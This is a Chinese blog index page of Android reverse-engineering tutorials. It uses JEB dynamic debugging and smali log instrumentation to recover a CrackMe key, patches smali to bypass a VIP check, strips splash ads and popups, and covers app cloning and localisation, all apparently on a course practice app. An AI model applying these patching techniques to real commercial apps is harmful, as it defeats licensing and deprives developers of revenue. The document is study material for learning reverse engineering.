一、基本概念1.1 动态调试动态调试是指自带的调试器跟踪自己软件的运行,可以在调试的过程中知道参数或者局部变量的值记忆捋清代码运行的先后顺序。多用于爆破注册码(CTF必备技能)1.2 Log插桩Log插桩是指在反编译APK文件时,在对应的smali文件里,添加相应的smali代码,将程序的关键信息,以log日志的形式进行输出。二、动态调试2.1 修改debug权限方法一:在AndroidManifest.xml里添加可调试权限android:debuggable="true"方法二:XappDebug模块hook对应的app项目地址XappDebughttps://github.com/Palatis/XAppDebug方法三:Magisk命令(重启失效)1. adb shell # adb进入命令行模式 2. su # 切换至超级用户 3. magisk resetprop ro.debuggable 1 4. stop;start; # 一定要通过该方式重启方法四:刷入MagiskHide Props Config模块(永久有效)一般来说,在4选项中如果有ro.debuggable那就直接修改没有的话就选5修改ro.debuggable的值为12.2 端口转发以及开启adb权限版本后点击七次开启开发者模式并开启adb调试权限夜神模拟器: adb connect 127.0.0.1:620012.3 下端点Jeb里使用ctrl + b下断点2.4 debug模式启动adb shell am start -D -n com.zj.wuaipojie/.ui.MainActivity adb shell am start -D -n 包名/类名am start -n 表示启动一个activityam start -D 表示将应用设置为可调试模式2.5 Jeb附加调试进程快捷键作用F6进入方法F7从方法中跳出来F8 R运行到光标处三、修改debug权限实操3.1 修改AndroidManifest3.2 XAppDebug模块3.3 Magisk命令上文3.4 MigiskHide Props Config安装模块打开Mt管理器终端模拟器输入props进入模块然后按照上文操作即可四、追码练习4.1 开发者选项开启USB调试,目标App要开启Debug调试4.2 apk拖入JEB,搜索关键字密钥错误发现关键点是if(this.check(((EditText)this.findViewById(0x7F0800AC)).getText().toString())) { // id:edit_check Context context0 = (Context)this; Toast.makeText(context0, "恭喜你,密钥正确!", 1).show(); SPUtils.INSTANCE.saveInt(context0, "level", 3); return; } Toast.makeText(((Context)this), "密钥错误哦,再想想!", 1).show();4.3 继续追check方法,双击方法名进入public final boolean check(String s) { int v = 0; Integer integer0 = null; if(!StringsKt.startsWith$default(s, "flag{", false, 2, null)) { return false; } if(!StringsKt.endsWith$default(s, "}", false, 2, null)) { return false; } String s1 = s.substring(5, s.length() - 1); Intrinsics.checkNotNullExpressionValue(s1, "this as java.lang.String…ing(startIndex, endIndex)"); String s2 = SPUtils.INSTANCE.getString(((Context)this), "id", ""); if(s2 != null) { integer0 = (int)s2.length(); } int v1 = 1000; Intrinsics.checkNotNull(integer0); int v2 = (int)integer0; if(v2 >= 0) { while(true) { v1 += -7; if(v == v2) { break; } ++v; } } byte[] arr_b = Encode.encode(s2 + v1).getBytes(Charsets.UTF_8); Intrinsics.checkNotNullExpressionValue(arr_b, "this as java.lang.String).getBytes(charset)"); return Intrinsics.areEqual(s1, Base64Utils.INSTANCE.encodeToString(arr_b)); }首先密钥必须以flag{开头,以}结尾然后回取出除开头和结尾中间的内容和一个base64加密的字符串进行比对base64加密的数据是由s2(打开软件注册的用户名) + v1(整数常量组成),当s2固定时base64加密的结果也就固定了。下一步就需要对加密结果打断点4.4 app开启调试4.5 Jeb附加调试进程然后再去应用模拟验证一下已经成功断点了,右边的寄存器也能看到局部变量此时已拿到密钥:5YaF57OkDAUM五、Log插桩5.1 日志插桩dex注入5.2 代码关键处添加输出invoke-static {对应寄存器}, Lcom/mtools/LogUtils;->v(Ljava/lang/Object;)V5.3 使用算法助手查看日志然后启动 去触发一下关键点拿到密钥实战反编译发现程序逻辑如下:可以直接通过程序跑出来结果:let str = 'e10adc3949ba59abbe56e057f20f883e'; // 对 123456 进行md5 再转 十六进制的结果 let sb = '' for(let i = 0;true;i+=2){ if(i >= str.length){ console.log(sb); return sb == '123'; } // 将 str i位置上的字符追加到sb中 sb += str.charAt(i); }引用1.《安卓逆向这档事》五、1000-7=?&动态调试&Log插桩:https://www.52pojie.cn/thread-1714727-1-1.html2.吾爱破解安卓逆向入门教程《安卓逆向这档事》五、1000-7? & 动态调试&Log插桩:https://www.bilibili.com/video/BV1hg411q7dj/3.JEB动态调试Smali-真机/模拟器(详细,新手必看):https://www.52pojie.cn/thread-1598242-1-1.html4.Log简易打印工具,超简单的调用方法:https://www.52pojie.cn/thread-411454-1-1.html5.Android修改ro.debuggable 的四种方法:https://blog.csdn.net/jinmie0193/article/details/111355867
2023年07月26日
402 阅读
0 评论
0 点赞
2023-07-25
C# 生成程序目录避免生成多余的XML和pdb
1:用记事本打开你C#项目工程下的.csproj 文件2:搜索找到你的生成类型一行:比如我用的是'Release|x64'生成程序3:在此行下添加以下代码,即可以屏蔽随dll一起的xml和pdb文件在Release中生成<AllowedReferenceRelatedFileExtensions>.allowedextension</AllowedReferenceRelatedFileExtensions> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' "> <PlatformTarget>x64</PlatformTarget> <DebugSymbols>false</DebugSymbols> <DebugType>none</DebugType> <Optimize>false</Optimize> <OutputPath>bin\Debug\</OutputPath> <DefineConstants>DEBUG;TRACE</DefineConstants> <ErrorReport>prompt</ErrorReport> <WarningLevel>4</WarningLevel> <AllowedReferenceRelatedFileExtensions>.allowedextension</AllowedReferenceRelatedFileExtensions> </PropertyGroup> <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' "> <PlatformTarget>AnyCPU</PlatformTarget> <DebugType>pdbonly</DebugType> <Optimize>true</Optimize> <OutputPath>bin\Release\</OutputPath> <DefineConstants>TRACE</DefineConstants> <ErrorReport>prompt</ErrorReport> <WarningLevel>4</WarningLevel> <AllowedReferenceRelatedFileExtensions>.allowedextension</AllowedReferenceRelatedFileExtensions> </PropertyGroup> 生成程序目录去除pdb的另一方法:项目=>属性=>生成=>高级=>调试信息 选【无】
2023年07月25日
220 阅读
0 评论
0 点赞
2023-07-25
第三篇Android逆向:去除广告和弹窗
一、基本概念1.1 安卓四大组件组件描述Activity(活动)在应用中的一个Activity可以用来表示一个界面,意思可以理解为“活动”,即一个活动开始,代表 Activity组件启动,活动结束,代表一个Activity的生命周期结束。一个Android应用必须通过Activity来运行和启动,Activity的生命周期交给系统统一管理。Service(服务)Service它可以在后台执行长时间运行操作而没有用户界面的应用组件,不依赖任何用户界面,例如后台播放音乐,后台下载文件等。Broadcast Receiver(广播接收器)一个用于接收广播信息,并做出对应处理的组件。比如我们常见的系统广播:通知时区改变、电量低、用户改变了语言选项等。Content Provider(内容提供者)作为应用程序之间唯一的共享数据的途径,Content Provider主要的功能就是存储并检索数据以及向其他应用程序提供访问数据的接口。Android内置的许多数据都是使用Content Provider形式,供开发者调用的(如视频,音频,图片,通讯录等)1.2 activity的切换<!---声明实现应用部分可视化界面的 Activity,必须使用 AndroidManifest 中的 <activity> 元素表示所有 Activity。系统不会识别和运行任何未进行声明的Activity。-----> <activity android:label="@string/app_name" android:name="com.zj.wuaipojie.ui.MainActivity" android:exported="true"> <!--当前Activity是否可以被另一个Application的组件启动:true允许被启动;false不允许被启动--> <!---指明这个activity可以以什么样的意图(intent)启动---> <intent-filter> <!--表示activity作为一个什么动作启动,android.intent.action.MAIN表示作为主activity启动---> <action android:name="android.intent.action.MAIN" /> <!--这是action元素的额外类别信息,android.intent.category.LAUNCHER表示这个activity为当前应用程序优先级最高的Activity--> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name="com.zj.wuaipojie.ui.ChallengeFirst" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeFifth" android:exported="true" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeFourth" android:exported="true" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeThird" android:exported="false" /> <activity android:name="com.zj.wuaipojie.ui.ChallengeSecond" android:exported="false" /> <activity android:name="com.zj.wuaipojie.ui.AdActivity" /> 启动广告流程:启动Activity->广告Activity->主页Activity修改方法:1.修改加载时间2.Acitivity切换定位,修改Intent的Activity类名switch (position) { case 0: Intent intent = new Intent(); intent.setClass(it.getContext(), ChallengeFirst.class); it.getContext().startActivity(intent); return; case 1: Intent intent2 = new Intent(); intent2.setClass(it.getContext(), ChallengeSecond.class); it.getContext().startActivity(intent2); return; case 2: Intent intent3 = new Intent(); //new一个Intent, intent3.setClass(it.getContext(), AdActivity.class); //传入要切换的Acitivity的类名 it.getContext().startActivity(intent3); //启动对应的Activity return; case 3: Intent intent4 = new Intent(); intent4.setClass(it.getContext(), ChallengeFourth.class); it.getContext().startActivity(intent4); return; default: return; }1.3 Activity生命周期函数名称描述onCreate()一个Activity启动后第一个被调用的函数,常用来在此方法中进行Activity的一些初始化操作。例如创建View,绑定数据,注册监听,加载参数等。onStart()当Activity显示在屏幕上时,此方法被调用但此时还无法进行与用户的交互操作。onResume()这个方法在onStart()之后调用,也就是在Activity准备好与用户进行交互的时候调用,此时的Activity一定位于Activity栈顶,处于运行状态。onPause()这个方法是在系统准备去启动或者恢复另外一个Activity的时候调用,通常在这个方法中执行一些释放资源的方法,以及保存一些关键数据。onStop()这个方法是在Activity完全不可见的时候调用的。onDestroy()这个方法在Activity销毁之前调用,之后Activity的状态为销毁状态。onRestart()当Activity从停止stop状态恢进入start状态时调用状态。1.4 弹窗定位&堆栈分析修改方法:1.修改xml中的versioncode2.Hook弹窗(推荐算法助手开启弹窗定位)3.修改dex弹窗代码4.抓包修改响应体(也可以路由器拦截)1.5 布局优化1.开发者助手抓布局2.MT管理器xml搜索定位3.修改xml代码android:visibility="gone"二、练习2.1 去开屏广告首先定位到这个Activity弹出的广告的是com.zj.wuaipojie.ui.AdActivity,mt管理器进行搜索类名.method private final loadAd()V .registers 5 .line 27 new-instance v0, Landroid/os/Handler; invoke-direct {v0}, Landroid/os/Handler;-><init>()V new-instance v1, Lcom/zj/wuaipojie/ui/AdActivity$$ExternalSyntheticLambda0; invoke-direct {v1, p0}, Lcom/zj/wuaipojie/ui/AdActivity$$ExternalSyntheticLambda0;-><init>(Lcom/zj/wuaipojie/ui/AdActivity;)V // v2赋值0xbb8 即3000毫秒 = 3秒 const-wide/16 v2, 0xbb8 // 调用延时的方法postDelayed 意为3秒后广告结束 切入主窗口 // 这里的参数 vo 代表 Handler的引用 v1 表示Runnable的引用 v2表示时长的引用 v3没有用到忽略 invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z return-void .end method2.1.1 修改广告时长了解v2寄存器存储广告时长后可以直接赋值为0x0变相实现跳过但其实还是会跳转到AdActivity2.1.2 修改Activity切换重新搜索Lcom/zj/wuaipojie/ui/AdActivity;类型选择代码,目的是定位在smali层面哪里调用了AdActivity就可以找到切换Activity的逻辑。2.1.3 修改AndroidManifest将启动类的名称直接修改为ChallengeThird不推荐,容易跳过应用内部加载数据的逻辑2.2 跳弹窗广告2.2.1 版本更新广告方式一:修改AndroidManifest.xml中的versionCode<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1"># 由1改成2即可过 </manifest> 方式二:直接注释掉弹窗代码1.直接根据文件内容搜索有新版本需要更新 得到布局文件为y4.xml2.使用Arsc编辑器打开resources.arsc得到布局名称为fragment_update,再在Dex编辑器++中根据代码搜索,得到对应的资源Id0x7f0b003a在搜索整数十六进制,拿到关键类DialogUtilsKt,这是一个工具类,只需要找到在主Activity中调用的位置进行注释即可。3.定位DialogUtilsKt的使用注释掉即可。2.2.2 普通弹窗分别是可回退跳过和不可回退跳过的类型。2.2.2.1 算法助手的使用勾选上后原先无法使用回退的弹窗也可以进行返回取消了。查看使用日志分析发现是在ChallengeThird.onCreate生命周期内调用的方法。 protected void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView(2131427361); Context context = (Context) this; Builder builder = new Builder(context); builder.setTitle("这是二号广告标题"); builder.setMessage("这是二号广告内容"); builder.setCancelable(false); String str = "前往论坛"; builder.setPositiveButton(str, new ExternalSyntheticLambda1(this)); String str2 = "退出软件"; builder.setNegativeButton(str2, ExternalSyntheticLambda2.INSTANCE); builder.show(); new CommonDialog.Builder(context).setMessage("一号广告弹窗已就位").setNegativeButton(str2, ExternalSyntheticLambda3.INSTANCE).setMessageColor(-16777216).setPositiveButton(str, new ExternalSyntheticLambda0(this)).setWith(0.8f).create().show(); checkUpdate(); }直接切到smali下将两个show的调用注释即可。2.3 去横幅遮挡广告1.首先定位元素Id(Hex):0x7f0801ca直接将宽高改为0dp或添加属性android:visibility="gone"三、课后作业这里发现有三个方法 三处show调用。方法一: show全部注释掉即可。方法二:查看每个方法的调用找到真正的函数调用,并从调用处解决引用1.《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡:https://www.52pojie.cn/thread-1706691-1-1.html2.吾爱破解安卓逆向入门教程《安卓逆向这档事》四、恭喜你获得广告&弹窗静默卡:https://www.bilibili.com/video/BV14v4y1D7yA/3.算法助手!基于Xposed的通用Hook工具:https://bbs.kanxue.com/thread-267985.htm
2023年07月25日
489 阅读
0 评论
0 点赞
2023-07-24
第二篇Android逆向:初识smali破解vip
一、基本概念1.什么是JVM、Dalvik、ARTJVM是JAVA虚拟机,运行JAVA字节码程序Dalvik是Google专门为Android设计的一个虚拟机,Dalvik有专属的文件执行格式dex(Dalvik executable)Art(Android Runtime)相当于Dalvik的升级版,本质与Dalvik无异2.smali及其语法smali是Dalvik的寄存器语言,smali代码是dex反编译而来的。关键字名称注释.class类名.super父类名,继承的上级类名名称.source源名.field变量.method方法名.register寄存器.end method方法名的结束public公有protected半公开,只有同一家人才能用private私有,只能自己使用.parameter方法参数.prologue方法开始.line xxx位于第xxx行数据类型对应smali类型java类型注释Vvoid无返回值Zboolean布尔值类型,返回0或1Bbyte字节类型,返回字节Sshort短整数类型,返回数字Cchar字符类型,返回字符Iint整数类型,返回数字Jlong (64位 需要2个寄存器存储)长整数类型,返回数字Ffloat单浮点类型,返回数字Ddouble (64位 需要2个寄存器存储)双浮点类型,返回数字stringString文本类型,返回字符串Lxxx/xxx/xxxobject对象类型,返回对象常用指令关键字注释const重写整数属性,真假属性内容,只能是数字类型const-string重写字符串内容const-wide重写长整数类型,多用于修改到期时间。return返回指令if-eq全称equal(a=b),比较寄存器ab内容,相同则跳if-ne全称not equal(a!=b),ab内容不相同则跳if-eqz全称equal zero(a=0),z即是0的标记,a等于0则跳if-nez全称not equal zero(a!=0),a不等于0则跳if-ge全称greater equal(a>=b),a大于或等于则跳if-le全称little equal(a<=b),a小于或等于则跳goto强制跳到指定位置switch分支跳转,一般会有多个分支线,并根据指令跳转到适当位置iget获取寄存器数据其余指令可用语法工具查询定位方法:搜索弹窗关键字、抓取按钮id例子://一个私有、静态、不可变的方法 方法名 .method private static final onCreate$lambda-2(Lkotlin/jvm/internal/Ref$IntRef;Lcom/zj/wuaipojie/ui/ChallengeSecond;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/view/View;)Z //(这里面是方法的参数)这里是方法返回值类型,表示布尔值类型,返回假或真 .registers 7 //寄存器数量 .line 33 //代码所在的行数 iget p0, p0, Lkotlin/jvm/internal/Ref$IntRef;->element:I //读取p0(第一个参数,参考寄存器知识)中element的值赋值给p0 const/4 p5, 0x1 //p5赋值1 const/16 v0, 0xa //v0赋值10,在16进制里a表示10 if-ge p0, v0, :cond_15 //判断p0的值是否大于或等于v0的值(即p0的值是否大于或等于10),如果大于或等于则跳转到:cond_15 .line 34 //以下是常见的Toast弹窗代码 check-cast p1, Landroid/content/Context; //检查Context对象引用 const-string p0, "请先获取10个硬币哦" //弹窗文本信息,把""里的字符串数据赋值给p0 check-cast p0, Ljava/lang/CharSequence; //检查CharSequence对象引用 invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; //将弹窗文本、显示时间等信息传给p1 move-result-object p0 //结果传递给p0 invoke-virtual {p0}, Landroid/widget/Toast;->show()V //当看到这个Toast;->show你就应该反应过来这里是弹窗代码 goto :goto_31 //跳转到:goto_31 :cond_15 //跳转的一个地址 invoke-virtual {p1}, Lcom/zj/wuaipojie/ui/ChallengeSecond;->isvip()Z //判断isvip方法的返回值是否为真(即结果是否为1) move-result p0 //结果赋值给p0 if-eqz p0, :cond_43 //如果结果为0则跳转cond_43地址 const p0, 0x7f0d0018 //在arsc中的id索引,这个值可以进行查询 .line 37 invoke-virtual {p2, p0}, Landroid/widget/ImageView;->setImageResource(I)V //设置图片资源 const p0, 0x7f0d0008 .line 38 invoke-virtual {p3, p0}, Landroid/widget/ImageView;->setImageResource(I)V const p0, 0x7f0d000a .line 39 invoke-virtual {p4, p0}, Landroid/widget/ImageView;->setImageResource(I)V .line 40 sget-object p0, Lcom/zj/wuaipojie/util/SPUtils;->INSTANCE:Lcom/zj/wuaipojie/util/SPUtils; check-cast p1, Landroid/content/Context; const/4 p2, 0x2 //p2赋值2 const-string p3, "level" //sp的索引 invoke-virtual {p0, p1, p3, p2}, Lcom/zj/wuaipojie/util/SPUtils;->saveInt(Landroid/content/Context;Ljava/lang/String;I)V //写入数据 goto :goto_50 //跳转地址 :cond_43 check-cast p1, Landroid/content/Context; const-string p0, "\u8bf7\u5148\u5145\u503c\u5927\u4f1a\u5458\u54e6\uff01" //请先充值大会员哦! check-cast p0, Ljava/lang/CharSequence; invoke-static {p1, p0, p5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; move-result-object p0 invoke-virtual {p0}, Landroid/widget/Toast;->show()V :goto_50 return p5 //返回p5的值 .end method //方法结束 //判断是否是大会员的方法 .method public final isvip()Z .registers 2 const/4 v0, 0x0 //v0赋值0 return v0 //返回v0的值 .end method修改方法:修改判断、强制跳转、修改寄存器的值3.寄存器在smali里的所有操作都必须经过寄存器来进行:本地寄存器用v开头数字结尾的符号来表示,如v0、 v1、v2。 参数寄存器则使用p开头数字结尾的符号来表示,如p0、p1、p2。特别注意的是,p0不一定是函数中的第一个参数,在非static函数中,p0代指“this",p1表示函数的第一个 参数,p2代表函数中的第二个参数。而在static函数中p0才对应第一个参数(因为Java的static方法中没有this方法)二、实现修改教程中使用的是jadx来分析smail代码,然后通过mt管理器打包修改。最近逛看雪论坛发现一个神器GDA,可以分析并直接完成打包。目标: 长按一键三连按钮可以点亮图标2.1 定位关键类2.1.1 搜索关键字直接搜索关键字大会员2.1.2 抓取按钮id分析界面布局,获取控件Id-Hex切换Mt管理器,使用Dex编辑器++打开Classes.dex,搜索控件2.2 修改方式2.2.1 修改判断分析图按下R重打包运行2.2.2 强制跳转2.2.3 修改寄存器的值三、实战demo搜索关键字登录失败可以直接拿到密钥引用1.《安卓逆向这档事》三、初识smali,vip终结者:https://www.52pojie.cn/thread-1701353-1-1.html2.[原创]基于Smali即时编译的DEX静态补丁技术实现:https://bbs.kanxue.com/thread-278098.htm3.GDA-android-reversing-Tool:https://github.com/charles2gan/GDA-android-reversing-Tool4.GJoy Dex Analyzer(GDA),亚洲第一款全交互式的现代反编译器,同时也是世界上最早实现的dalvik字节码反编译器。:http://www.gda.wiki:9090/
2023年07月24日
399 阅读
0 评论
0 点赞
2023-07-23
第一篇Android逆向:App双开、汉化、基本内容修改
一、基本概念1.1 Magisk介绍Magisk 是一套用于定制 Android 的开源软件,支持高于 Android 5.0 的设备。以下是一些功能亮点:MagiskSU:为应用程序提供 root 访问权限Magisk 模块:通过安装模块修改只读分区MagiskHide:从根检测 / 系统完整性检查中隐藏 Magisk(Shamiko)MagiskBoot : 最完整的安卓启动镜像解包和重新打包工具1.2 Apk结构apk 全称 Android Package,它相当于一个压缩文件,只要在电脑上将apk后缀改为zip即可解压。文件注释assets目录存放APK的静态资源文件,比如视频,音频,图片等lib 目录armeabi-v7a基本通用所有android设备,arm64-v8a只适用于64位的android设备,x86常见用于android模拟器,其目录下的.so文件是c或c++编译的动态链接库文件META-INF目录保存应用的签名信息,签名信息可以验证APK文件的完整性,相当于APK的身份证(验证文件是否被修改)res目录res目录存放资源文件,包括图片,字符串等等,APK的脸蛋由他的layout文件设计AndroidMainfest.xml文件APK的应用清单信息,它描述了应用的名字,版本,权限,引用的库文件等等信息classes.dex文件classes.dex是java源码编译后生成的java字节码文件,APK运行的主要逻辑resources.arsc文件resources.arsc是编译后的二进制资源文件,它是一个映射表,映射着资源和id,通过R文件中的id就可以找到对应的资源二、 双开及原理双开:简单来说,就是手机同时运行两个或多个相同的应用,例如同时运行两个微信原理解释修改包名让手机系统认为这是2个APP,这样的话就能生成2个数据存储路径,此时的多开就等于你打开了两个互不干扰的APP修改Framework对于有系统修改权限的厂商,可以修改Framework来实现双开的目的,例如:小米自带多开通过虚拟化技术实现虚拟Framework层、虚拟文件系统、模拟Android对组件的管理、虚拟应用进程管理 等一整套虚拟技术,将APK复制一份到虚拟空间中运行,例如:平行空间以插件机制运行利用反射替换,动态代理,hook了系统的大部分与system—server进程通讯的函数,以此作为“欺上瞒下”的目的,欺骗系统“以为”只有一个apk在运行,瞒过插件让其“认为”自己已经安装。例如:VirtualApp2.1 修改包名NT管理器安装包提取点击提取的Apk,选择APK共存修改包名简单情况下实现APK共存2.2 修改Framework2.3 通过虚拟化技术实现2.4 以插件机制运行三、 汉化APK汉化:使用专门的工具对外文版的软件资源进行读取、翻译、修改、回写等一系列处理,使软件的菜单、对话框、提示等用户界面显示为中文,而程序的内核和功能保持不变,这个过程即为软件汉化基本上字符串都是在arsc里,建议一键汉化,然后再润色。少量没汉化到的字符串参考视频中的方法定位去逐个汉化。3.1 流程图这里还需要注意的是,如果要直装应用,那就应该先签名安装,看看是否有签名校验导致的闪退简单的汉化有三个分支Arsc汉化Xml汉化Dex汉化教程中还提到较为复杂的so层面的字符串资源3.2 Xml汉化汉化前:1.全局搜索文件内容Hello 52pojie2.字符常量池打开资源文件3.字符串编辑4.更新并自动签名5.完成3.3 Arsc汉化接着替换下方的俄文,使用开发者助手检索界面资源复制文本后再次使用MT管理器进行搜索Я не могу поверить, что это работает, почему?选择翻译模式定位到要翻译的字符串后进行编辑完成汉化3.4 dex汉化这次要替换掉 Reverse determines height, development determines depth.这段文本还是先搜索再在Dex编辑器++中搜索直接进行替换即可完成汉化四、修改应用名称和图标4.1 初识AndroidManifest.xmlAndroidManifest.xml文件是整个应用程序的信息描述文件,定义了应用程序中包含的Activity,Service,Content provider和BroadcastReceiver组件信息。每个应用程序在根目录下必须包含一个AndroidManifest.xml文件,且文件名不能修改。它描述了package中暴露的组件,他们各自的实现类,各种能被处理的数据和启动位置。属性定义versionCode版本号,主要用来更新,例如:12versionName版本名,给用户看的,例如:1.2package包名,例如:com.zj.52pj.demouses-permission android:name=""应用权限,例如:android.permission.INTERNET 代表网络权限android:label="@string/app_name"应用名称android:icon="@mipmap/ic_launcher"应用图标路径android:debuggable="true"应用是否开启debug权限4.2 修改测试切换到NT管理器修改成功五、修改应用内图标对图中的表情包进行替换首先找到对应的布局文件,查看ImageView的资源ID:@7F0D000B使用Arsc编辑方式打开resources.arsc,搜索资源ID再去搜索first_img定位图片哦~原来first_img已经在对应资源图片了,那我直接修改它的映射关系改成D2.png完成引用1.《安卓逆向这档事》一、模拟器环境搭建:https://www.52pojie.cn/thread-1695141-1-1.html2.《安卓逆向这档事》二、初识APK文件结构、双开、汉化、基础修改:https://www.52pojie.cn/thread-1695796-1-1.html3.吾爱破解安卓逆向入门教程《安卓逆向这档事》二、初识APK文件结构、双开、汉化、基础修改:https://www.bilibili.com/video/BV18G411j7gV/?spm_id_from=333.788&vd_source=33cfe7dc102c64b5cac16bcfaad7f2a84.[更新!]适用于几乎所有安卓模拟器(7+)安装magisk的教程-简单无脑向:https://www.52pojie.cn/thread-1583586-1-1.html5.【VirtualAPP 双开系列08】如何实现多开 - UID:https://blog.csdn.net/u014294681/article/details/116270479
2023年07月23日
465 阅读
0 评论
0 点赞
1
...
3
4
5
...
10